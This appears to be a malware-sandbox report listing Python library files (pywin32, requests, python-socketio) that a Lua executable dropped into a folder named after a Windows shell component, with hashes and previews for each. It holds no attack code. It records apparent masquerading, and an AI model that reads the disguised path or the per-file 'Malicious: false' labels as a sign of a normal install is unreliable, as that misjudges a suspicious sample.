Preview:	python_socketio-4.6.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..python_socketio-4.6.0.dist-info/LICENSE,sha256=yel9Pbwfu82094CLKCzWRtuIev9PUxP-a76NTDFAWpw,1082..python_socketio-4.6.0.dist-info/METADATA,sha256=F6V5b2sZdVor3TFhilnR4ZjaqXR-vSynmhfca12OKTA,1903..python_socketio-4.6.0.dist-info/RECORD,,..python_socketio-4.6.0.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..python_socketio-4.6.0.dist-info/WHEEL,sha256=kGT74LWyRUZrL4VgLh6_g12IeVl_9u9ZVhadrgXZUEY,110..python_socketio-4.6.0.dist-info/top_level.txt,sha256=xWd-HVUanhys_VzQQTRTRZBX8W448ayFytYf1Zffivs,9..socketio/__init__.py,sha256=5uq0rHxS9q6mk709V28By6uO384ia5L_FiujIWtaYBg,1529..socketio/__pycache__/__init__.cpython-37.pyc,,..socketio/__pycache__/asgi.cpython-37.pyc,,..socketio/__pycache__/asyncio_aiopika_manager.cpython-37.pyc,,..socketio/__pycache__/asyncio_client.cpython-37.pyc,,..socketio/__pycache__/asyncio_manager.cpython-37.pyc,,..socketio/__pycache__/asyncio_namesp

C:\ProgramData\ShellExperienceHost\Lib\site-packages\python_socketio-4.6.0.dist-info\WHEEL Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	110
Entropy (8bit):	4.816968543485036
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlVitcv6KjP+tPCCf7irO5S:RtBMwlViWZWBBwt
MD5:	D2A91F104288B412DBC67B54DE94E3AC
SHA1:	5132CB7D835D40A81D25A4A1D85667EB13E1A4D3
SHA-256:	9064FBE0B5B245466B2F85602E1EBF835D8879597FF6EF5956169DAE05D95046
SHA-512:	FACDEE18E59E77AEF972A5ACCB343A2EA9DB03F79D226C5827DC4BCDB47D3937FE347CB1F0A2FC48F035643F58737C875FDF1BD935586A98C6966BFA88C7484A
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.34.2).Root-Is-Purelib: true.Tag: py2-none-any.Tag: py3-none-any..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\python_socketio-4.6.0.dist-info\top_level.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9
Entropy (8bit):	2.94770277922009
Encrypted:	false
SSDEEP:	3:Qp:Qp
MD5:	4D8AFF21921D409914C926996F94A153
SHA1:	755CFFB1C1D6D055E7824B67C713064D3175BB81
SHA-256:	C5677E1D551A9E1CACFD5CD0413453459057F16E38F1AC85CAD61FD597DF8AFB
SHA-512:	4310A5F2D4E56159B9022241C7E5FD952CA0F0FCA0EBBE1C6EDE37B95AE77A593D513AA74FF780F38AC401D41579896A4BC6CB90729AB5776A29EFFB0E956362
Malicious:	false
Preview:	socketio.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pythoncom.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	magic text file for file(1) cmd, ASCII text
Category:	dropped
Size (bytes):	138
Entropy (8bit):	4.649845624570034
Encrypted:	false
SSDEEP:	3:SZ+FlJQcZ6MRxJjZuXyDeEeOnoQjDcVVfGg9n:SZ+FTQcIMjg3OnxX1g9n
MD5:	21536E5C77D37B70A33376BB03551CFD
SHA1:	6C417DAA1FED5C52F6DFD9B002351A3A64B03781
SHA-256:	08246CBB09A1E229E8BAAAA6F86070CB229FBCFC2A83B517B51D5ED412C4CE81
SHA-512:	979397A7A55B183310CE86028984FBEE162618BFF9A7BB4996EA46789718C6C8B54613DE07A110D47E08FDB9E84A20597AB41006CE2169E37B398025EA5048FB
Malicious:	false
Preview:	# Magic utility that "redirects" to pythoncomxx.dll.import pywintypes.pywintypes.__import_pywin32_system_module__("pythoncom", globals()).

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pywin32-300.dist-info\INSTALLER Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pywin32-300.dist-info\METADATA Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.915773513113628
Encrypted:	false
SSDEEP:	24:DlLtcX0u6iQzX1QIRj8ZftRTZft90ZftXZftsZftBZft7nNz6Bx2QAG717:DlLtcX0u6nX1QIRjKxLiPktxNzU8Qvh
MD5:	78DA4A74AF87726679765E088DD6B9E3
SHA1:	9EC88DEE06DA3DD13931E064338AE7A7D2AB7E1D
SHA-256:	55636714C91A63E4C2A9934EB8BBF71B80CC484052A9B0FD76FFCB4FDFA6510C
SHA-512:	CE258DA7012BD8979CFF566B0BD2F284A038CD14A695E0A427DC85678C56BD264F04A45A34C37A5CCB7F79F1957E25456A1F1A4B577D0685115B9F1CA5065434
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: pywin32.Version: 300.Summary: Python for Window Extensions.Home-page: https://github.com/mhammond/pywin32.Author: Mark Hammond (et al).Author-email: mhammond@skippinet.com.au.License: PSF.Platform: UNKNOWN.Classifier: Environment :: Win32 (MS Windows).Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: Python Software Foundation License.Classifier: Operating System :: Microsoft :: Windows.Classifier: Programming Language :: Python :: 3.5.Classifier: Programming Language :: Python :: 3.6.Classifier: Programming Language :: Python :: 3.7.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: 3.9.Classifier: Programming Language :: Python :: Implementation :: CPython.Description-Content-Type: text/plain..Python extensions for Microsoft Windows.Provides access to much of the Win32 API, the.ability to create and use COM objects, and the.Pythonwin environment...

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pywin32-300.dist-info\RECORD Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	80514
Entropy (8bit):	5.695947972766427
Encrypted:	false
SSDEEP:	768:sdW7p2X1U3KVdujRGu9IOI5Lro0GVt4QxAuqBV25nWjtwy8Lma7E0xzTVIFfg7LZ:sdqf3KVduFr9VI3GVtjafqLrV
MD5:	0EB34CA8751287E1C359F564491CF8BF
SHA1:	A66301E6C2B8AF843234D6E89C980462B3CC66A8
SHA-256:	FD1A1DF538F8F02FD853424287E14E7015F0998338429D6C3999EB3B020C21E2
SHA-512:	6D26417CD32DF66F07BD01CBDC2C3F01C0EB7F45CBD4915BE6AC3BA2D70AD1450FD84401A6DAF6EAAA6CA3CB05A5D7E6AF29CBE8E034F09CB98605CE42F1AAF8
Malicious:	false
Preview:	../../Scripts/__pycache__/pywin32_postinstall.cpython-37.pyc,,..../../Scripts/__pycache__/pywin32_testall.cpython-37.pyc,,..../../Scripts/pywin32_postinstall.py,sha256=pPDHOea9ebbJr1lDT3UT5TuL3PjvyrlBpuBuge9bIaE,24996..../../Scripts/pywin32_testall.py,sha256=TDYPFvs7vJiE0fe3YN-jvF4HAL9S690d5UmTNwgGFgY,3251..PyWin32.chm,sha256=JxpIIx86gtKiEbzMMEcVt2qOEFml_cfOVkiyMcgb8i4,2666406..__pycache__/pythoncom.cpython-37.pyc,,..adodbapi/__init__.py,sha256=3ok3sVS6DQUKQOV01fe1WzzYDdIsOGbudIS_PrOY9CE,2097..adodbapi/__pycache__/__init__.cpython-37.pyc,,..adodbapi/__pycache__/ado_consts.cpython-37.pyc,,..adodbapi/__pycache__/adodbapi.cpython-37.pyc,,..adodbapi/__pycache__/apibase.cpython-37.pyc,,..adodbapi/__pycache__/is64bit.cpython-37.pyc,,..adodbapi/__pycache__/process_connect_string.cpython-37.pyc,,..adodbapi/__pycache__/remote.cpython-37.pyc,,..adodbapi/__pycache__/schema_table.cpython-37.pyc,,..adodbapi/__pycache__/setup.cpython-37.pyc,,..adodbapi/ado_consts.py,sha256=zjUg7mATcQT1xnrWVI17PeWO0L

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pywin32-300.dist-info\WHEEL Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	106
Entropy (8bit):	5.079407960020318
Encrypted:	false
SSDEEP:	3:RtED7MWcSlVin8gP+tkSrLhheov:RtEMwlVi8gWKSrLhh3v
MD5:	BE7905FA8B3C4786C7C25DC2C7DCE035
SHA1:	5EECC400F246D2ABDFAE89B982D1E3D82E2257A6
SHA-256:	8E61584B0476A22E4380C1A09A7B81F84271A8B3245288C619D989D30CF7E5A2
SHA-512:	E2FDC3861BEAB34D07FC0C46140D80B92FDCC4C909502222A904193F025CF7DDB2D9B5BF3D120B59F173FF5CD1601593AE13F221A366845879401787377798EA
Malicious:	false
Preview:	Wheel-Version: 1.0..Generator: bdist_wheel (0.31.1)..Root-Is-Purelib: false..Tag: cp37-cp37m-win_amd64....

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pywin32-300.dist-info\top_level.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1303
Entropy (8bit):	4.396696080684793
Encrypted:	false
SSDEEP:	12:OAZ5je3QCBie5yaI5BZpKSNa+6bCBtu5zrJko4bmKnRTW2Lci3GDvJbS4vS2LSKa:LesZBL/16bCzuB9XQFxV3GDhbS4g5F
MD5:	E571EC9C3C82DE85671A60AE70576587
SHA1:	53D6C91B7D73B94E08083EA3B6594D40D9044959
SHA-256:	4B7901ACD175A60107FBFD2570C6113C43069389ECCC023203FCA880F93C62E0
SHA-512:	F4D3F8EC6F42A175B1806992A4A54A3B0591508335B07D1916FB31A664A0FF585BE2D70772D7516525FC9E6BA8D69C634B73789ABC66D2BA415631E6C2B0D0D9
Malicious:	false
Preview:	PyISAPI_loader._win32sysloader._winxptheme.adodbapi.adsi.authorization.axcontrol.axdebug.axscript.bits.dde.directsound.exchange.exchdapi.ifilter.internet.isapi.mapi.mmapfile.odbc.perfmon.perfmondata.propsys.pythoncom.pythonwin.pywintypes.servicemanager.shell.taskscheduler.timer.win2kras.win32\lib\afxres.win32\lib\commctrl.win32\lib\dbi.win32\lib\mmsystem.win32\lib\netbios.win32\lib\ntsecuritycon.win32\lib\pywin32_bootstrap.win32\lib\pywin32_testutil.win32\lib\pywintypes.win32\lib\rasutil.win32\lib\regcheck.win32\lib\regutil.win32\lib\sspi.win32\lib\sspicon.win32\lib\win32con.win32\lib\win32cryptcon.win32\lib\win32evtlogutil.win32\lib\win32gui_struct.win32\lib\win32inetcon.win32\lib\win32netcon.win32\lib\win32pdhquery.win32\lib\win32pdhutil.win32\lib\win32rcparser.win32\lib\win32serviceutil.win32\lib\win32timezone.win32\lib\win32traceutil.win32\lib\win32verstamp.win32\lib\winerror.win32\lib\winioctlcon.win32\lib\winnt.win32\lib\winperf.win32\lib\winxptheme.win32api.win32clipboard.win32c

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pywin32.pth Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	178
Entropy (8bit):	4.536641638598185
Encrypted:	false
SSDEEP:	3:SgOFQFU7MLWmP/t1IQbT0+MetmY28eRNTFR23LOeNCEndDpkXEF:SgOOFBVP/H7H0+MeZpcF+KeNCEnmEF
MD5:	322BF8D4899FB978D3FAC34DE1E476BB
SHA1:	467808263E26B4349A1FAF6177B007967FBC6693
SHA-256:	4F67FF92AF0EA38BF18AC308EFD976F781D84E56F579C603ED1E8F0C69A17F8D
SHA-512:	D7264690D653AC6ED4B3D35BB22B963AFC53609A9D14187A4E0027528B618C224ED38E225330CEAE2565731A4E694A6146B3214B3DCEE75B053C8AE79F24A9DD
Malicious:	false
Preview:	# .pth file for the PyWin32 extensions.win32.win32\lib.Pythonwin.# And some hackery to deal with environments where the post_install script.# isn't run..import pywin32_bootstrap.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pywin32.version.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	1.9219280948873623
Encrypted:	false
SSDEEP:	3:SCv:Ss
MD5:	CDE46522D7B9A40AC01F9361ACD4A90D
SHA1:	BB8AAAC8611A3FA9FF4967877047846F11B680B8
SHA-256:	791F66B6A07D13AF8AF2F243438E6A14BC0C8446987BB603255786E361DCF2F5
SHA-512:	1196D94E8AFA82FE9E22BDDC1FE72A80C19BDBE6A5D71B7864512FEFBF4F8DAC72A8AF348B680F25005940DF866165949BE5D5C1B0491A42E05C180949D53B87
Malicious:	false
Preview:	300..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pywin32_system32\pythoncom37.dll Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	553472
Entropy (8bit):	6.013295184874163
Encrypted:	false
SSDEEP:	12288:tYCbXMotEYbwzP8+QsGZvMYeRCcpIipd/8Fae:tY4XMotEYbwzP80GZeCciI4
MD5:	59296C90A2EB361DCBEF671ABAD742B5
SHA1:	F5558469A56C049CBD8A7E5E15656677A46DE7A1
SHA-256:	4477F2D9C38767CB328A9E92F70D37B670A15E944E8C6064A49A1970BD00617C
SHA-512:	6B8FB678F640462682A2406E6D6CA2988EBA8251098CB108DAC09D11ED5972406C0C88E3C3E37B1A03B69F9E54C828F97391911058C1EF0100C2B2223DD1C998
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q..15y.b5y.b5y.b<.[b?y.b.'.c7y.b.'.c7y.b.'.c!y.b.'.c=y.b.'.c7y.bF..c8y.b...c7y.bF..c<y.b5y.b.x.b.'.cdy.b.'.c4y.b.'.c4y.bRich5y.b........................PE..d...C]._.........." .....8...6......D'........ ..............................`............`.............................................<c...].......0..\....... p...........@..T.......T............................................P...............................text...\|6.......8.................. ..`.rdata...6...P...8...<..............@..@.data...0........h...t..............@....pdata.. p.......r..................@..@.gfids..4.... .......N..............@..@.rsrc...\....0.......P..............@..@.reloc..T....@.......T..............@..B................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pywin32_system32\pywintypes37.dll Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	139264
Entropy (8bit):	5.970333410695974
Encrypted:	false
SSDEEP:	3072:485xq7Dn2TYrrC0JumkYmkQISw67M0arnR01:4Ic7Dn2TYrrC0vdmkQISl7JarG
MD5:	77B6875977E77C4619BBB471D5EAF790
SHA1:	F08C3BC5E918C0A197FBFD1B15E7C0491BD5FADE
SHA-256:	780A72BA3215FF413D5A9E98861D8BB87C15C43A75BB81DC985034AE7DCF5EF6
SHA-512:	783939FC97B2445DFE7E21EB6B71711ABA6D85E275E489EDDCC4F20C2ED018678D8D14C9E1856F66E3876F318312D69C22CEE77F9105A72E56A1BE4F3E8A7C2E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6.V.W...W...W.../%..W.......W..b.q..W.......W.......W.......W...5...W..f>...W...5...W...W..!W..V....W..V....W..V....W..Rich.W..........PE..d....]._.........." .........<................z..............................p............`.........................................`z..dG...........P..d.... ...............`.......W..T............................X..................P............................text............................... ..`.rdata..............................@..@.data...h0.......0..................@....pdata....... ......................@..@.gfids..4....@......................@..@.rsrc...d....P......................@..@.reloc.......`......................@..B................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests-2.25.1.dist-info\INSTALLER Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests-2.25.1.dist-info\LICENSE Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10142
Entropy (8bit):	4.382049701782505
Encrypted:	false
SSDEEP:	192:nU6G5KXSD9VYUKhu1JVF9hFGvV/QiGkS594drFjuHYx5dvTrLhx:U9vlKM1zJlFvmNz5Vrr
MD5:	34400B68072D710FECD0A2940A0D1658
SHA1:	57AED0B0F74E63F6B85CCE11BCE29BA1710B422B
SHA-256:	09E8A9BCEC8067104652C168685AB0931E7868F9C8284B66F5AE6EDAE5F1130B
SHA-512:	3705B1CE56DD19764B7B9E363936E36CBEB8309CEB0F36AAF94D7F9EF1DBD45BFF9DEADBB73EE7F56210703D5E199DCB4125744C3E459D2647FA15B2C0EB0B77
Malicious:	false
Preview:	. Apache License. Version 2.0, January 2004. http://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that control, are controlled by, or are under common. control with that entity. For the purposes of this definition,. "control" means (i) the power, direct or indirect, to cause the. direction or management of such entity, whether by contract or. otherwise, or (ii) ownership of fifty percent (50%) or more of the. outstanding shares, or (iii) beneficial own

C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests-2.25.1.dist-info\METADATA Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	UTF-8 Unicode text, with very long lines
Category:	dropped
Size (bytes):	4168
Entropy (8bit):	5.29884502779965
Encrypted:	false
SSDEEP:	96:D/UGqofjaaxmPktxsxMnGg8BI7/dCStSsK9rQBG6lOtPoeEzNQXL:0ysMnGg8BI7FzwsKNMGzt3MNYL
MD5:	1C7624B9069568CB6ABCC291CC66B00A
SHA1:	2B16A43494BDC3C31B9B152126A36C172B7DD5FE
SHA-256:	46E361DFCB8DD0832C453DCEC1A4CD07F5B21B1E91330C10A0CC2E8D77E45153
SHA-512:	EDA8EA6E66B494C203E289A3571BBC7E2C510F9C3EC2D1411D0C44D6B099491CDA480FC62B8829E1352788E842D663370017788EFFC567E1F0AFF6DE873758E0
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: requests.Version: 2.25.1.Summary: Python HTTP for Humans..Home-page: https://requests.readthedocs.io.Author: Kenneth Reitz.Author-email: me@kennethreitz.org.License: Apache 2.0.Project-URL: Documentation, https://requests.readthedocs.io.Project-URL: Source, https://github.com/psf/requests.Platform: UNKNOWN.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: Natural Language :: English.Classifier: License :: OSI Approved :: Apache Software License.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 2.Classifier: Programming Language :: Python :: 2.7.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3.5.Classifier: Programming Language :: Python :: 3.6.Classifier: Programming Language :: Python :: 3.7.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: 3.9.Classifier: Programmin

C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests-2.25.1.dist-info\RECORD Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2834
Entropy (8bit):	5.714092291889227
Encrypted:	false
SSDEEP:	48:WnuXsGeUGlG3G5JFGgWHGlFI3Fc7tfpXH9H4zsykFgrlRFyiFUTmt1H7euZpXzfh:5XsG+4IFUH8I3+7tf5H9H4zsngRRFyex
MD5:	249ACAFE36F24A65178C3AE5E1AF3586
SHA1:	DFE82EA01F6B7B56B562B80BDB44BB8FE89F4BAC
SHA-256:	0777969A7D335393A5A0DD63E69BC70F7FDA89306D88EC63E8283AC999A6D196
SHA-512:	34D8B9ADAA0BE57137131A62BE5CAC8CE92E23110A0DD48FDDAEB639038D0F36AE31D41597294C714CE66BA451349AF739F1B9B2D233BE2EE7FAC325E1954957
Malicious:	false
Preview:	requests-2.25.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..requests-2.25.1.dist-info/LICENSE,sha256=CeipvOyAZxBGUsFoaFqwkx54aPnIKEtm9a5u2uXxEws,10142..requests-2.25.1.dist-info/METADATA,sha256=RuNh38uN0IMsRT3OwaTNB_WyGx6RMwwQoMwujXfkUVM,4168..requests-2.25.1.dist-info/RECORD,,..requests-2.25.1.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..requests-2.25.1.dist-info/WHEEL,sha256=Z-nyYpwrcSqxfdux5Mbn_DQ525iP7J2DG3JgGvOYyTQ,110..requests-2.25.1.dist-info/top_level.txt,sha256=fMSVmHfb5rbGOo6xv-O_tUX6j-WyixssE-SnwcDRxNQ,9..requests/__init__.py,sha256=rsmg7xmbbCE_zmDcG6EDk_pyvdEfadztdBaWIkInlH8,4141..requests/__pycache__/__init__.cpython-37.pyc,,..requests/__pycache__/__version__.cpython-37.pyc,,..requests/__pycache__/_internal_utils.cpython-37.pyc,,..requests/__pycache__/adapters.cpython-37.pyc,,..requests/__pycache__/api.cpython-37.pyc,,..requests/__pycache__/auth.cpython-37.pyc,,..requests/__pycache__/certs.cpython-37.pyc,,..reques

C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests-2.25.1.dist-info\WHEEL Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	110
Entropy (8bit):	4.816968543485036
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlViHoKKjP+tPCCf7irO5S:RtBMwlViQWBBwt
MD5:	5BBA2AABC4A5D75E954C7EDF9834DE0A
SHA1:	407755EDC93510D5F7556ECDD1E7CB42F9357D8F
SHA-256:	67E9F2629C2B712AB17DDBB1E4C6E7FC3439DB988FEC9D831B72601AF398C934
SHA-512:	803B1181918FB2D93D2D2715D96E087E9333647C4A4A405D4FAD9DEDE0B77C8E3BCD5CAC7F3A426C60715202E2ECEBCD3EE9E066B2233A814A9A821D23BE88D0
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.36.2).Root-Is-Purelib: true.Tag: py2-none-any.Tag: py3-none-any..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests-2.25.1.dist-info\top_level.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9
Entropy (8bit):	2.725480556997868
Encrypted:	false
SSDEEP:	3:3Wo:3Wo
MD5:	197B4DEB87FFA3DECD9F045926A86CD0
SHA1:	5E482A8A1A830D55B849679AB26B23146E90CEB9
SHA-256:	7CC4959877DBE6B6C63A8EB1BFE3BFB545FA8FE5B28B1B2C13E4A7C1C0D1C4D4
SHA-512:	DB7A712DCE02422EA008BE64D2AB0B16765F8802EC7C276ABF6E4B533957B24E7CA23B816725CD9D881597709DEAF89927395274FB695387243B7AA5401EA776
Malicious:	false
Preview:	requests.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4141
Entropy (8bit):	4.963983313306089
Encrypted:	false
SSDEEP:	96:2peYVGivM4GNf2CFPIRjaxQKssHAQTjySi0sf:2bMbNuCsjax7s
MD5:	1257F424A82EC1AC4CF98FF637DBBF6C
SHA1:	391C9DFA59FE0622D60F7ACAE18331AE0DE88061
SHA-256:	AEC9A0EF199B6C213FCE60DC1BA10393FA72BDD11F69DCED741696224227947F
SHA-512:	9DB51FF7D190A850FE3FFB7F319BCCFD9B223423084476EF340ED70CAAB47AEA2DC85FF82D19EE3E8C3E6896ECEB2DB10E215F8BF302A4F6A43F4F17DCA1A1A4
Malicious:	false
Preview:	# -- coding: utf-8 --..# __.# /__) _ _ _ _ _/ _.# / ( (- (/ (/ (- _) / _).# /..""".Requests HTTP Library.~~~~~~~~~~~~~~~~~~~~~..Requests is an HTTP library, written in Python, for human beings..Basic GET usage:.. >>> import requests. >>> r = requests.get('https://www.python.org'). >>> r.status_code. 200. >>> b'Python is a programming language' in r.content. True..... or POST:.. >>> payload = dict(key1='value1', key2='value2'). >>> r = requests.post('https://httpbin.org/post', data=payload). >>> print(r.text). {. .... "form": {. "key1": "value1",. "key2": "value2". },. .... }..The other HTTP methods are supported - see `requests.api`. Full documentation.is at <https://requests.readthedocs.io>...:copyright: (c) 2017 by Kenneth Reitz..:license: Apache 2.0, see LICENSE for more details.."""..import urllib3.import chardet.import warnings.from .exceptions import RequestsDependencyWarning...def check_compatibility(u

C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests\__version__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	441
Entropy (8bit):	4.8830163972404845
Encrypted:	false
SSDEEP:	6:SkRairD7AL2FySSI2XSRcpAUi3Yxt+XtBblzRsv2vK7a1Mdr7ARneAu6eOAQjCgS:PbfcXu7nsv2yu1Mp7ku6eObCgEFuU0Y
MD5:	0AEEB3179FC89D011CAE7BD1080743C6
SHA1:	E7110E33F433F52D0535592E99A752689B4C33F2
SHA-256:	93827C735C85445CF0196C2537B9A268339C945B5B708B351A59E64F5ED86D74
SHA-512:	44A2736AFD43C9B963760F01BCF72884484F6686C4EBC2740D659F366A94A9BE0A82187E6C905E0D8E59E23F518A26603CD906DACC26E610B3715F1A46CF1F03
Malicious:	false
Preview:	# .-. .-. .-. . . .-. .-. .-. .-..# \|( \|- \|.\| \| \| \|- `-. \| `-..# ' ' `-' `-`.`-' `-' `-' ' `-'..__title__ = 'requests'.__description__ = 'Python HTTP for Humans.'.__url__ = 'https://requests.readthedocs.io'.__version__ = '2.25.1'.__build__ = 0x022501.__author__ = 'Kenneth Reitz'.__author_email__ = 'me@kennethreitz.org'.__license__ = 'Apache 2.0'.__copyright__ = 'Copyright 2020 Kenneth Reitz'.__cake__ = u'\u2728 \U0001f370 \u2728'.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests\_internal_utils.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1096
Entropy (8bit):	4.516324227351689
Encrypted:	false
SSDEEP:	24:lDfmQURGWkTP9+gioikIxmSNYIhARWr1OlX4N8oQSf8P:BmpGWIFCo8hvr1OlX4NlQs8P
MD5:	A99425AE18678A77B272542BDB253ADE
SHA1:	E906C93851DAF76973FF06DE80579A25BF71377A
SHA-256:	671DCF9C451C7327EC07E89ED759D95405BCA82949CB4831D6A34C13BAE04F5F
SHA-512:	CE85FE2662576F0AFA93C9335E4AE972CFE168F0A2D8FEAC4E5EC29D27B645E269751180D3404267F5BD8CCE98F0016E2C67DEEB79F3AACBC7FBD6F5E89B4EEC
Malicious:	false
Preview:	# -- coding: utf-8 --..""".requests._internal_utils.~~~~~~~~~~~~~~..Provides utility functions that are consumed internally by Requests.which depend on extremely few external helpers (such as compat)."""..from .compat import is_py2, builtin_str, str...def to_native_string(string, encoding='ascii'):. """Given a string object, regardless of type, returns a representation of. that string in the native string type, encoding and decoding where. necessary. This assumes ASCII unless told otherwise.. """. if isinstance(string, builtin_str):. out = string. else:. if is_py2:. out = string.encode(encoding). else:. out = string.decode(encoding).. return out...def unicode_is_ascii(u_string):. """Determine if unicode string only contains ASCII characters... :param str u_string: unicode string to check. Must be unicode. and not Python 2 `str`.. :rtype: bool. """. assert isinstance(u_string, str). try:. u

C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests\adapters.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	21344
Entropy (8bit):	4.433290247231647
Encrypted:	false
SSDEEP:	384:vmkJw1rfAce6LgWjj858Y8WAmWWjoAhDnnJcvKuiJpwgeXRuxCAiB:1mtpe6Uq5LCvKvK7NeXRuxCAiB
MD5:	460488F3CF569C8943BAB515DB82BE6B
SHA1:	1855E643257C1AE0D34EA2FAAA672D5BEBD2D4DE
SHA-256:	59E95233504241775B8C4B83B01C6A283003798F011E6C65AF06CD9CB376AEBE
SHA-512:	5B11FD2A29ED8CFEC134B419E13B27EE89F566C88E30E90F96450B504C39F570C2CD2D3D14F05C9CBA75960B5BFA996EDEE33F637D5F5BA0F890D986D680D368
Malicious:	false
